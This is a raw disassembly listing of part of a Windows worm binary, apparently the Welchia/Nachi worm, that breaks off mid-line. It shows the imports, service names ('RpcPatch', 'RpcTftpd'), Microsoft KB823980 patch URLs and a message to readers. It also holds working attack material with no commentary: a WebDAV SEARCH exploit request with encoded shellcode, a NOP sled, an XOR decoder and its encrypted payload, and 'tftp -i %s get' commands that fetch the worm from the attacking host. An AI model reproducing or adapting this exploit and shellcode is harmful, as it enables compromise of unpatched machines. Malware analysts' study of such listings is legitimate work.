7C80B974h ; resolved to->KERNEL32.UnmapViewOfFiledword_404084 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_404088 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_402C40+Fr dword_40408C dd 7C80998Dh ; resolved to->KERNEL32.LocalAlloc ; sub_402540+7Er dword_404090 dd 7C80992Fh ; resolved to->KERNEL32.LocalFree ; sub_402540+1CFr dword_404094 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_404098 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExAdword_40409C dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_4040A0 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_4040A4 dd 7C80BF3Dh ; resolved to->KERNEL32.GetSystemDefaultLCIDdword_4040A8 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_402970+Ar dword_4040AC dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_402A00+30r dword_4040B0 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_4040B4 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileA ; sub_401660+42r dword_4040B8 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTimedword_4040BC dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_401990+A1r ... dword_4040C0 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_401B90+4Cr ... dword_4040C4 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_401470+F9r ... dword_4040C8 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_401280+6Cr ... dword_4040CC dd 7C87109Dh ; resolved to->KERNEL32.FreeConsoledword_4040D0 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryAdword_4040D4 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_4040D8 dd 7C863DE5h ; resolved to->KERNEL32.Process32Firstdword_4040DC dd 7C863F58h ; resolved to->KERNEL32.Process32Nextdword_4040E0 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_401006+DBr ... dword_4040E4 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_4040E8 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_401780+1D3r ... align 10h dword_4040F0 dd 77C39E7Eh ; resolved to->MSVCRT.exitdword_4040F4 dd 77C32DAEh ; resolved to->MSVCRT._XcptFilterdword_4040F8 dd 77C1EEEBh ; resolved to->MSVCRT.__getmainargsdword_4040FC dd 77C39D67h ; resolved to->MSVCRT._inittermdword_404100 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_401B90+80r ... dword_404104 dd 77C371BCh ; resolved to->MSVCRT.sranddword_404108 dd 77C29CC5h dword_40410C dd 77C1F1F1h ; resolved to->MSVCRT.__p___initenvdword_404110 dd 77C4D675h ; resolved to->MSVCRT.__setusermatherrdword_404114 dd 77C623D8h ; resolved to->MSVCRT._adjust_fdivdword_404118 dd 77C1F1A4h ; resolved to->MSVCRT.__p__commodedword_40411C dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_4015E0+Er ... dword_404120 dd 77C47BE0h ; resolved to->MSVCRT.strrchrdword_404124 dd 77C1F1DBh ; resolved to->MSVCRT.__p__fmodedword_404128 dd 77C3537Ch ; resolved to->MSVCRT.__set_app_typedword_40412C dd 77C35C94h ; resolved to->MSVCRT._except_handler3dword_404130 dd 77C4EE2Fh ; resolved to->MSVCRT._controlfpdword_404134 dd 77C39E9Ah ; resolved to->MSVCRT._exitdword_404138 dd 77C29CDDh dword_40413C dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_401280+12Br ... dword_404140 dd 77C4624Eh ; resolved to->MSVCRT._stricmp ; sub_4023E0+64r align 8 dword_404148 dd 7E45A045h ; resolved to->USER32.ExitWindowsEx align 10h dword_404150 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_402B20+57r ... dword_404154 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_402C40+6Er ... dword_404158 dd 71AB50C8h ; resolved to->WS2_32.gethostnamedword_40415C dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_402C40+7Er dword_404160 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_401EA0+1Br dword_404164 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_401C80+41r ... dword_404168 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_401B90+1Er ... dword_40416C dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_401B90+65r ... dword_404170 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_401990+15Dr ... dword_404174 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_4020E0+7r ... dword_404178 dd 71AB3E00h ; resolved to->WS2_32.binddword_40417C dd 71AB4428h ; resolved to->WS2_32.WSACleanupdword_404180 dd 71AB88D3h ; resolved to->WS2_32.listendword_404184 dd 71AC1028h ; resolved to->WS2_32.accept ; sub_401990+137r dword_404188 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_401990+20r dword_40418C dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_404190 dd 71AB2BC0h ; resolved to->WS2_32.ntohldword_404194 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_4020E0+27r ... dd 0 dword_40419C dd 42D779A3h dd 2 dup(0) dword_4041A8 dd 0FFFFFFFFh, 4030BCh, 4030D0h, 393h dup(0)dword_405000 dd 0 dword_405004 dd 0 dword_405008 dd 0 dword_40500C dd 0 aU5390U665eU66a db '%u5390%u665e%u66ad%u993d%u7560%u56f8%u5656%u665f%u66ad%u4e3d%u740' ; DATA XREF: sub_401F30+A4o db '0%u9023%u612c%u5090%u6659%u90ad%u612c%u548d%u7088%u548d%u908a%u54' db '8d%u708a%u548d%u908a%u5852%u74aa%u75d8%u90d6%u5058%u5050%u90c3%u6' db '099',0 align 4 aFfilomidomfafd db 'ffilomidomfafdfgfhinhnlaljbeaaaaaalimmmmmmmmpdklojieaaaaaaipefpai' ; DATA XREF: sub_401F30+C6o db 'nlnpeppppppgekbaaaaaaaaijehaigeijdnaaaaaaaamhefpeppppppppilefpaid' db 'oiahijefpiloaaaabaaaoideaaaaaaibmgaabaaaaaolagibmgaaeaaaaailagdne' db 'oeoeoeohfpbidmgaeikagegdmfjhfpjikagegdmfihfpcggknggdnfjfihfokppog' db 'olpofifailhnpaijehpcmdileeceamafliaaaaaamhaaeeddccbbddmamdolomoih' db 'hppppppcececece',0 align 10h aU5951U6858U759 db '%u5951%u6858%u759f%u0018%u5951%u6858%u759f%u0018%u5951%u6858%u759' ; DATA XREF: sub_401F30+45o db 'f%u0018%u5951%u6858%u759f%u0018%u5951%u6858%u759f%u0018%u5951%u68' db '58%u759f%u0018%u5951%u6858%u759f%u0018%u5951%u6858%u759f%u0018',0 align 4 a?xmlVersion1_0 db '<?xml version="1.0"?>',0Dh,0Ah db '<g:searchrequest xmlns:g="DAV:">',0Dh,0Ah db '<g:sql>',0Dh,0Ah db 'Select "DAV:displayname" from scope()',0Dh,0Ah db '</g:sql>',0Dh,0Ah db '</g:searchrequest>',0Dh,0Ah,0 word_40537C dw 3D30h ; DATA XREF: sub_401280+19Dr dw 3D9Fh dd 3D8B3D8Ah, 3D953D91h, 3D9D3D97h, 3DBC3DA1h, 3DE93DF3h dd 0DCA03D9Ah, 0CA64CA60h, 0CA68CA67h, 0CA71CA66h, 0CB5DCA82h dd 0CBD0CA62h, 0D20CCBCFh, 0D235D22Ah, 0D344D248h, 0D354D357h dd 0D360D35Ch, 0D353D362h, 0D3A1D35Fh, 0D3A3D3A2h, 0D39CD390h dd 0DA6DD39Eh, 0DA05DA04h, 0DA47DA11h, 0DA6ADA00h, 0DB91DAC7h dd 0DA06DA08h, 0DA58DA3Fh, 0DA45DA59h, 0DA4BDA3Fh, 0DA68DA55h dd 0DB8ADAC5h, 0DBEADBDEh, 0DCA0DC6Dh, 0DC75DCA3h, 0DCB9DCA2h dd 0DC71DCBAh, 0DCA6DC70h off_405414 dd offset aHttpDownload_m ; DATA XREF: sub_401780:loc_4018AFr ; "http://download.microsoft.com/download/"... dd offset aHttpDownload_1 ; "http://download.microsoft.com/download/"... dd offset aHttpDownload_2 ; "http://download.microsoft.com/download/"... dd offset aHttpDownload_3 ; "http://download.microsoft.com/download/"... off_405424 dd offset aHttpDownload_0 ; DATA XREF: sub_401780+120r ; "http://download.microsoft.com/download/"... dd offset aHttpDownload_4 ; "http://download.microsoft.com/download/"... dd offset aHttpDownload_5 ; "http://download.microsoft.com/download/"... dd offset aHttpDownload_6 ; "http://download.microsoft.com/download/"... dword_405434 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2 dword_40547C dd 3000005h, 10hdword_405484 dd 3E8h dd 0E5h, 3D0h, 40001h, 60005h, 1, 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 2 dup(0) dword_4057DC dd 20h ; sub_402170+29w dword_4057E0 dd 0 dword_4057E4 dd 20h ; sub_402170+2Ew dword_4057E8 dd 5C005Ch aC1234561111111: ; DATA XREF: sub_402170+7Bo unicode 0, <\C$\123456111111111111111.doc>,0 aFxnbfxfxnbfxfx: ; DATA XREF: sub_402170+55o unicode 0, <FXNBFXFXNBFXFXFXFX> dword_40584C dd 7F08321Ah db 0CCh db 0E0h, 0FDh, 7Fh db 0CCh db 0E0h, 0FDh, 7Fh db 126h dup(90h) ; --------------------------------------------------------------------------- loc_40597E: ; DATA XREF: sub_401F30+13Co jmp short loc_405990 ; =============== S U B R O U T I N E ======================================= sub_405980 proc far ; CODE XREF: sub_405980:loc_405990p pop edx dec edx xor ecx, ecx mov cx, 176h loc_405988: ; CODE XREF: sub_405980+Cj xor byte ptr [edx+ecx], 99h loop loc_405988 jmp short loc_405995 ; --------------------------------------------------------------------------- loc_405990: ; CODE XREF: seg000:loc_40597Ej call near ptr sub_405980 loc_405995: ; CODE XREF: sub_405980+Ej jo short loc_4059F8 cdq cdq cdq retn ; --------------------------------------------------------------------------- db 21h dd 0E6646995h, 0E9129912h, 0D9123485h, 12411291h, 6A9AA5EAh dd 9AE1EF12h, 0B9E7126Ah, 0D712629Ah, 0CF74AA8Dh, 0A612C8CEh dd 6B12629Ah, 6AC097F3h, 0C091ED3Fh, 9D5E1AC6h, 0C0707BDCh dd 5412C7C6h, 9ABDDF12h, 9A78485Ah, 0FF50AA58h, 0DF129112h dd 585A9A85h, 589A9B78h, 5A9A9912h ; --------------------------------------------------------------------------- loc_4059F8: ; CODE XREF: sub_405980:loc_405995j adc ah, [ebx+12h] outsb sbb bl, [edi-69h] adc cl, [ecx-0Dh] call far ptr 9999h:99ED71C0h sbb bl, [edi-6Ch] retf sub_405980 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0CFh, 66h, 0CEh dd 4112C365h, 71C09AF3h, 999999F8h, 12DD751Ah, 0C089F36Dh dd 7B179D10h, 0C9C9C962h, 0F398F3C9h, 6DCE669Bh, 0C7104112h dd 0A5C710A1h, 0FFD9C710h, 98B5DF5Eh, 89DE1498h, 59AACFC9h dd 0F3C9C9C9h, 14C9C998h, 9B5EA5CEh, 99FDF4FAh, 0CE66C9CBh dd 9B9E5E71h, 5E9B9999h, 0FAFA9DDEh, 89F3FAFAh, 0CE66CACEh dd 0CE66CA61h, 0CE66C965h, 3559AA75h, 60EC591Ch, 0CACFCBC8h dd 0C0C34B66h, 0AA777B32h, 9A715A59h, 0DE666666h, 0EBC9EDFCh dd 0FDD8FAF6h, 0EAFCEBFDh, 0EBDA99EAh, 0FCEDF8FCh, 0FAF6EBC9h dd 0D8EAEAFCh, 0F0E1DC99h, 0EBF1CDEDh, 99FDF8FCh, 0FDF8F6D5h dd 0EBFBF0D5h, 0D8E0EBF8h, 0ABEAEE99h, 99ABAAC6h, 0CAD8CACEh dd 0FCF2FAF6h, 0FA99D8EDh, 0FCF7F7F6h, 0FA99EDFAh, 0FCEAF6F5h dd 0F2FAF6EAh, 99EDFCh dword_405AF4 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 0 dd offset aILoveMyWifeBab ; "=========== I love my wife & baby :)~~~"... aCopyDllcacheTf db 'copy dllcache\tftpd.exe wins\svchost.exe',0Ah ; DATA XREF: sub_401C80+175o db 0Dh,0 align 4 aWinsDllhost_ex db 'wins\DLLHOST.EXE',0Ah ; DATA XREF: sub_401C80+1ABo ; sub_401C80+1BDo db 0Dh,0 align 4 word_405B68 dw 29Ah ; DATA XREF: sub_401990+5Aw ; sub_401990+81r ... align 4 aRpctftpd db 'RpcTftpd',0 ; DATA XREF: sub_401280+41o ; sub_401280+E7o ... align 4 aRpcpatch db 'RpcPatch',0 ; DATA XREF: sub_401280+37o ; sub_401660+57o ... align 4 aDirDllcacheTft db 'dir dllcache\tftpd.exe',0Ah ; DATA XREF: sub_401C80+11Bo db 0Dh,0 align 10h dword_405BA0 dd 4 ; sub_402880:loc_4028F6r byte_405BA4 db 3Dh ; DATA XREF: sub_401100:loc_40115Ar db 3Dh, 2 dup(0CAh) dd 0D2D2CBCAh, 0DADAD3D3h, 0DCDBh aDirWinsDllhost db 'dir wins\dllhost.exe',0Ah ; DATA XREF: sub_401C80+D2o db 0Dh,0 align 4 aGetHttp1_1Acce db 'GET / HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402C40+B5o db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*',0Dh db 0Ah db 'User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',0Dh,0Ah db 'Host: ',0 align 4 aConnectionKeep db 0Dh,0Ah ; DATA XREF: sub_402C40+95o db 'Connection: Keep-Alive',0Dh,0Ah db 0Dh,0Ah,0 align 4 aILoveMyWifeBab db '=========== I love my wife & baby :)~~~ Welcome Chian~~~ Notice' ; DATA XREF: seg000:00405B24o db ': 2004 will remove myself:)~~ sorry zhongli~~~=========== wins',0 align 4 aHttpDownload_6 db 'http://download.microsoft.com/download/6/9/5/6957d785-fb7a-4ac9-b' ; DATA XREF: seg000:00405430o db '1e6-cb99b62f9f2a/Windows2000-KB823980-x86-KOR.exe',0 align 4 aHttpDownload_5 db 'http://download.microsoft.com/download/5/8/f/58fa7161-8db3-4af4-b' ; DATA XREF: seg000:0040542Co db '576-0a56b0a9d8e6/Windows2000-KB823980-x86-CHT.exe',0 align 10h aHttpDownload_4 db 'http://download.microsoft.com/download/2/8/1/281c0df6-772b-42b0-9' ; DATA XREF: seg000:00405428o db '125-6858b759e977/Windows2000-KB823980-x86-CHS.exe',0 align 4 aHttpDownload_0 db 'http://download.microsoft.com/download/0/1/f/01fdd40f-efc5-433d-8' ; DATA XREF: seg000:off_405424o db 'ad2-b4b9d42049d5/Windows2000-KB823980-x86-ENU.exe',0 align 4 aHttpDownload_3 db 'http://download.microsoft.com/download/e/3/1/e31b9d29-f650-4078-8' ; DATA XREF: seg000:00405420o db 'a76-3e81eb4554f6/WindowsXP-KB823980-x86-KOR.exe',0 align 4 aHttpDownload_2 db 'http://download.microsoft.com/download/2/3/6/236eaaa3-380b-4507-9' ; DATA XREF: seg000:0040541Co db 'ac2-6cec324b3ce8/WindowsXP-KB823980-x86-CHT.exe',0 align 10h aHttpDownload_1 db 'http://download.microsoft.com/download/a/a/5/aa56d061-3a38-44af-8' ; DATA XREF: seg000:00405418o db 'd48-85e42de9d2c0/WindowsXP-KB823980-x86-CHS.exe',0 align 4 aHttpDownload_m db 'http://download.microsoft.com/download/9/8/b/98bcfad8-afbc-458f-a' ; DATA XREF: seg000:off_405414o db 'aee-b7a52a983f01/WindowsXP-KB823980-x86-ENU.exe',0 align 4 aTftpISGetSvcho db 'tftp -i %s get svchost.exe wins\SVCHOST.EXE',0Ah ; DATA XREF: sub_401210+48o db 0Dh,0 align 4 aTftpISGetDllho db 'tftp -i %s get dllhost.exe wins\DLLHOST.EXE',0Ah ; DATA XREF: sub_401210+34o db 0Dh,0 align 4 aNetworkConnect db 'Network Connections Sharing',0 ; DATA XREF: sub_4015E0+57o aSvchost_exe db 'svchost.exe',0 ; DATA XREF: sub_4015E0+52o ; sub_4023E0+59o aMsdtc db 'MSDTC',0 ; DATA XREF: sub_4015E0+4Do align 4 aSWinsSvchost_e db '%s\wins\svchost.exe',0 ; DATA XREF: sub_4015E0+2Do aSDllcacheTftpd db '%s\dllcache\tftpd.exe',0 ; DATA XREF: sub_4015E0+19o align 4 aWinsClient db 'WINS Client',0 ; DATA XREF: sub_401660+52o aDllhost_exe db 'DLLHOST.EXE',0 ; DATA XREF: sub_401660+4Do ; sub_401C80+ECo aBrowser db 'Browser',0 ; DATA XREF: sub_401660+48o aSWinsDllhost_e db '%s\wins\DLLHOST.EXE',0 ; DATA XREF: sub_401660+24o aSNOZQ db '%s -n -o -z -q',0 ; DATA XREF: sub_401780:loc_4018DCo align 4 dword_4061A8 dd 53637052h dword_4061AC dd 69767265h dword_4061B0 dd 61506563h dword_4061B4 dd 652E6B63h word_4061B8 dw 6578h ; DATA XREF: sub_401780+102r byte_4061BA db 0 ; DATA XREF: sub_401780+10Dr align 4 dword_4061BC dd 74737973h, 32336D65h, 3Eh ; sub_401C80+8Eo ... aTimeoutOccurre db 'Timeout occurred',0 ; DATA XREF: sub_401B90+95o align 4 aTransferSucces db 'Transfer successful',0 ; DATA XREF: sub_401B90+86o aTftpd_exe db 'TFTPD.EXE',0 ; DATA XREF: sub_401C80+148o align 4 aTftpd_exe_0 db 'tftpd.exe',0 ; DATA XREF: sub_401C80+135o align 4 aDllhost_exe_0 db 'dllhost.exe',0 ; DATA XREF: sub_401C80+103o aMicrosoftWindo db 'Microsoft Windows',0 ; DATA XREF: sub_401C80+77o align 4 aMicrosoft_com db 'microsoft.com',0 ; DATA XREF: sub_401E80o align 4 word_406238 dw 0A0Dh ; DATA XREF: sub_401F30+17Er byte_40623A db 0 ; DATA XREF: sub_401F30+185r align 4 aHttp1_1Host127 db ' HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_401F30+100o db 'Host: 127.0.0.1',0Dh,0Ah db 'Content-Type: text/xml',0Dh,0Ah db 'Content-length: 377',0Dh,0Ah db 0Dh,0Ah db 'YXYX',0 aSearch db 'SEARCH /',0 ; DATA XREF: sub_401F30+Ao align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4022A0+1Co aSoftwareMicr_1 db 'SOFTWARE\Microsoft\Updates\Windows XP\SP2\KB823980',0 ; DATA XREF: sub_402390+2Do align 10h aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Updates\Windows XP\SP1\KB823980',0 ; DATA XREF: sub_402390:loc_4023ACo align 4 aSoftwareMicros db 'SOFTWARE\Microsoft\Updates\Windows 2000\SP5\KB823980',0 ; DATA XREF: sub_402390+8o align 4 aManagesNetwork db 'Manages network configuration by updating DNS names IP address.',0 ; DATA XREF: sub_4023E0+D1o aSWinsS db '%s\wins\%s',0 ; DATA XREF: sub_4023E0+4Do align 4 aDSWins db '-d%s\wins',0 ; DATA XREF: sub_402540+33o align 4 aRpcpatch_mutex db 'RpcPatch_Mutex',0 ; DATA XREF: sub_4027B0o align 4 aSMsblast_exe db '%s\msblast.exe',0 ; DATA XREF: sub_402A00+63o align 4 aMsblast db 'msblast',0 ; DATA XREF: sub_402A00+8o a411 db '411',0 ; DATA XREF: sub_402C40+20Ao aSearchHttp1_1H db 'SEARCH / HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402C40+19Eo db 'Host: %s',0Dh,0Ah db 0Dh,0Ah,0 aServerMicrosof db 'Server: Microsoft-IIS/5.0',0 ; DATA XREF: sub_402C40+13Fo align 4 aSSS db '%s%s%s',0 ; DATA XREF: sub_402C40+BAo align 4 dword_406414 dd 1 align 10h dword_406420 dd 0 ; sub_402B20+CAr dword_406424 dd 0 ; sub_401F30+50r ... dword_406428 dd 0 ; sub_402170+100w dword_40642C dd 0 ; sub_4020E0+13r dword_406430 dd 10h dup(0) ; sub_402AB0+3Fo ... dword_406470 dd 0 ; sub_402130+35w ... align 8 dword_406478 dd 0 align 10h dword_406480 dd 0 ; sub_402170+C7w dd 1Bh dup(0) dword_4064F0 dd 0 ; sub_402170+D3w dword_4064F4 dd 0 ; sub_402170+DFw dd 0Bh dup(0) dword_406524 dd 0 ; sub_402170+EFw dword_406528 dd 0 ; sub_402170+F9w dd 5 dup(0) dword_406540 dd 0 ; sub_402170+11Ew dd 2Eh dup(0) dword_4065FC dd 0 ; sub_402170+124w dd 74h dup(0) dword_4067D0 dd 0 dword_4067D4 dd 0 dword_4067D8 dd 0 dword_4067DC dd 0 dword_4067E0 dd 0B3h dup(0) dword_406AAC dd 0Fh dup(0) dword_406AE8 dd 146h dup(0) seg000 ends ; Section 2. (virtual address 00007000) ; Virtual size : 00003000 ( 12288.) ; Section size in file : 00003000 ( 12288.) ; Offset to raw data for section: 00007000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg001 segment para public 'CODE' use32 assume cs:seg001 ;org 407000h assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing dword_407000 dd 11Ch dup(0) dword_407470 dd 0 ; sub_4020E0+33r dword_407474 dd 0 ; sub_402170+10Aw dword_407478 dd 8 dup(0) ; sub_401210+43o ... aCWindowsSystem db 'C:\WINDOWS\system32',0 ; DATA XREF: sub_4011C0+14o ; sub_4015E0+14o ... dd 3Dh dup(0) dword_4075A0 dd 0 ; sub_401280+9Cr ... dword_4075A4 dd 0 ; sub_401470+136r ... dword_4075A8 dd 20h dup(0) ; sub_401C80+18Co dword_407628 dd 20h dup(0) ; sub_401C80+15Co dword_4076A8 dd 0 ; seg000:00402932w dword_4076AC dd 0 dword_4076B0 dd 0 dword_4076B4 dd 0 dword_4076B8 dd 0 dword_4076BC dd 0FFFFFFFFh dword_4076C0 dd 0FFFFFFFFh dword_4076C4 dd 0 dd 24Eh dup(0) dd 0E0h, 3060h, 74654701h, 7473614Ch, 6F727245h, 49010072h dd 7265746Eh, 6B636F6Ch, 65446465h, 6D657263h, 746E65h dd 6F6C4701h, 416C6162h, 636F6C6Ch, 6C470100h, 6C61626Fh dd 65657246h, 704F0100h, 72506E65h, 7365636Fh, 47010073h dd 69467465h, 7441656Ch, 62697274h, 73657475h, 53010041h dd 69467465h, 7441656Ch, 62697274h, 73657475h, 47010041h dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 6D6E5501h dd 69567061h, 664F7765h, 656C6946h, 72430100h, 65746165h dd 6574754Dh, 1004178h, 65746E49h, 636F6C72h, 4964656Bh dd 6572636Eh, 746E656Dh, 6F4C0100h, 416C6163h, 636F6C6Ch dd 6F4C0100h, 466C6163h, 656572h, 74654701h, 73726556h dd 6E6F69h, 74654701h, 73726556h, 456E6F69h, 1004178h dd 43746547h, 65727275h, 7250746Eh, 7365636Fh, 47010073h dd 454F7465h, 50434Dh, 74654701h, 74737953h, 65446D65h dd 6C756166h, 49434C74h, 47010044h, 6F4D7465h, 656C7564h dd 656C6946h, 656D614Eh, 54010041h, 696D7265h, 6574616Eh dd 636F7250h, 737365h, 69615701h, 726F4674h, 676E6953h dd 624F656Ch, 7463656Ah, 6F430100h, 69467970h, 41656Ch dd 74654701h, 61636F4Ch, 6D69546Ch, 45010065h, 50746978h dd 65636F72h, 1007373h, 54746547h, 436B6369h, 746E756Fh dd 72430100h, 65746165h, 65726854h, 1006461h, 65656C53h dd 46010070h, 43656572h, 6F736E6Fh, 100656Ch, 53746547h dd 65747379h, 7269446Dh, 6F746365h, 417972h, 65724301h dd 54657461h, 686C6F6Fh, 33706C65h, 616E5332h, 6F687370h dd 50010074h, 65636F72h, 32337373h, 73726946h, 50010074h dd 65636F72h, 32337373h, 7478654Eh, 6C430100h, 4865736Fh dd 6C646E61h, 43010065h, 74616572h, 6F725065h, 73736563h dd 44010041h, 74656C65h, 6C694665h, 4165h, 0EDh, 3000h dd 61684301h, 5365676Eh, 69767265h, 6F436563h, 6769666Eh dd 1004132h, 72657551h, 72655379h, 65636976h, 666E6F43h dd 41326769h, 74530100h, 53747261h, 69767265h, 416563h dd 6C654401h, 53657465h, 69767265h, 1006563h, 69676552h dd 72657473h, 76726553h, 43656369h, 486C7274h, 6C646E61h dd 417265h, 74655301h, 76726553h, 53656369h, 75746174h dd 53010073h, 74726174h, 76726553h, 43656369h, 446C7274h dd 61707369h, 65686374h, 1004172h, 72657551h, 72655379h dd 65636976h, 74617453h, 1007375h, 72657551h, 72655379h dd 65636976h, 666E6F43h, 416769h, 61684301h, 5365676Eh dd 69767265h, 6F436563h, 6769666Eh, 41010041h, 73756A64h dd 6B6F5474h, 72506E65h, 6C697669h, 73656765h, 704F0100h dd 43536E65h, 616E614Dh, 41726567h, 72430100h, 65746165h dd 76726553h, 41656369h, 6C430100h, 5365736Fh, 69767265h dd 61486563h, 656C646Eh, 704F0100h, 65536E65h, 63697672h dd 1004165h, 4F676552h, 4B6E6570h, 78457965h, 52010041h dd 6C436765h, 4B65736Fh, 1007965h, 6E65704Fh, 636F7250h dd 54737365h, 6E656B6Fh, 6F4C0100h, 70756B6Fh, 76697250h dd 67656C69h, 6C615665h, 416575h, 0FA00h, 305000h, 63490100h dd 6C43706Dh, 4865736Fh, 6C646E61h, 49010065h, 43706D63h dd 74616572h, 6C694665h, 49010065h, 53706D63h, 45646E65h dd 6F6863h, 10300h, 30F000h, 78650100h, 1007469h, 7063585Fh dd 6C694674h, 726574h, 675F5F01h, 616D7465h, 72616E69h dd 1007367h, 696E695Fh, 72657474h, 7301006Dh, 74737274h dd 73010072h, 646E6172h, 3F3F0100h, 41594032h, 49584150h dd 1005A40h, 5F705F5Fh, 6E695F5Fh, 6E657469h, 5F010076h dd 7465735Fh, 72657375h, 6874616Dh, 727265h, 64615F01h dd 7473756Ah, 6964665Fh, 5F010076h, 5F5F705Fh, 6D6D6F63h dd 65646Fh, 72707301h, 66746E69h, 74730100h, 68637272h dd 5F010072h, 5F5F705Fh, 646F6D66h, 5F010065h, 7465735Fh dd 7070615Fh, 7079745Fh, 5F010065h, 65637865h, 685F7470h dd 6C646E61h, 337265h, 6F635F01h, 6F72746Eh, 70666Ch, 78655F01h dd 1007469h, 40333F3Fh, 50584159h, 5A405841h, 61720100h dd 100646Eh, 7274735Fh, 706D6369h, 10E0000h, 319C0000h dd 55010000h, 6F444C52h, 6F6C6E77h, 6F546461h, 656C6946h dd 19000041h, 48000001h, 1000031h, 74697845h, 646E6957h dd 4573776Fh, 24000078h, 50000001h, 0FF000031h, 4FF0017h dd 39FF00h, 0FF000CFFh, 15FF0034h, 13FF00h, 0FF0010FFh dd 9FF0003h, 2FF00h, 0FF0074FFh, 1FF000Dh, 8FF00h, 0FF0073FFh dd 0BFF000Eh, 0 dd 45500000h, 14C0000h, 20080003h, 9A08h, 0 dd 0E00000h, 10B010Fh, 30000006h, 40000000h, 0 dd 2FCC0000h, 10000000h, 40000000h, 0 dd 10000040h, 10000000h, 40000h, 0 dd 40000h, 0 dd 80000000h, 10000000h, 0 dd 30000h, 0 dd 10000010h, 0 dd 10000010h, 0 dd 100000h, 2 dup(0) dd 41B40000h, 0A00000h, 14h dup(0) dd 40000000h, 1A40000h, 6 dup(0) dd 742E0000h, 747865h, 213A0000h, 10000000h, 30000000h dd 10000000h, 3 dup(0) dd 200000h, 722E6000h, 